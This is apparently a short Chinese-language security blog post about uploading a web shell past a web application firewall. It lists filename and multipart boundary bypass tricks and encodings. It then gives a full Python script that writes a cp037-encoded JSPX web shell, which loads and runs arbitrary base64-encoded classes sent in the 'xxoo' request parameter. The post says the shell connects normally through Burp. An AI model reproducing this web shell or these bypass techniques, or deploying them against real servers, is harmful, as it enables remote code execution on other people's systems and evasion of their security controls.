文件名绕过
boundary等号前后空格绕过
Content-Type: multipart/form-data;boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
boundary等号前后ascii码09绕过
Cp037编码绕过
文件名后加/绕过
畸形请求方法
文件内容绕过
unicode编码
cp037编码（脚本内置马支持后缀jsp/jspx，都可解析）
编码脚本
#python2
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
class PERFORM extends ClassLoader {
PERFORM(ClassLoader c) { super(c);}
public Class bookkeeping(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] branch(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
String cls = request.getParameter("xxoo");
if (cls != null) {
new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
}
</jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))生成出来，burp选择paste from file
可以正常连接
喜欢就点在看哦~
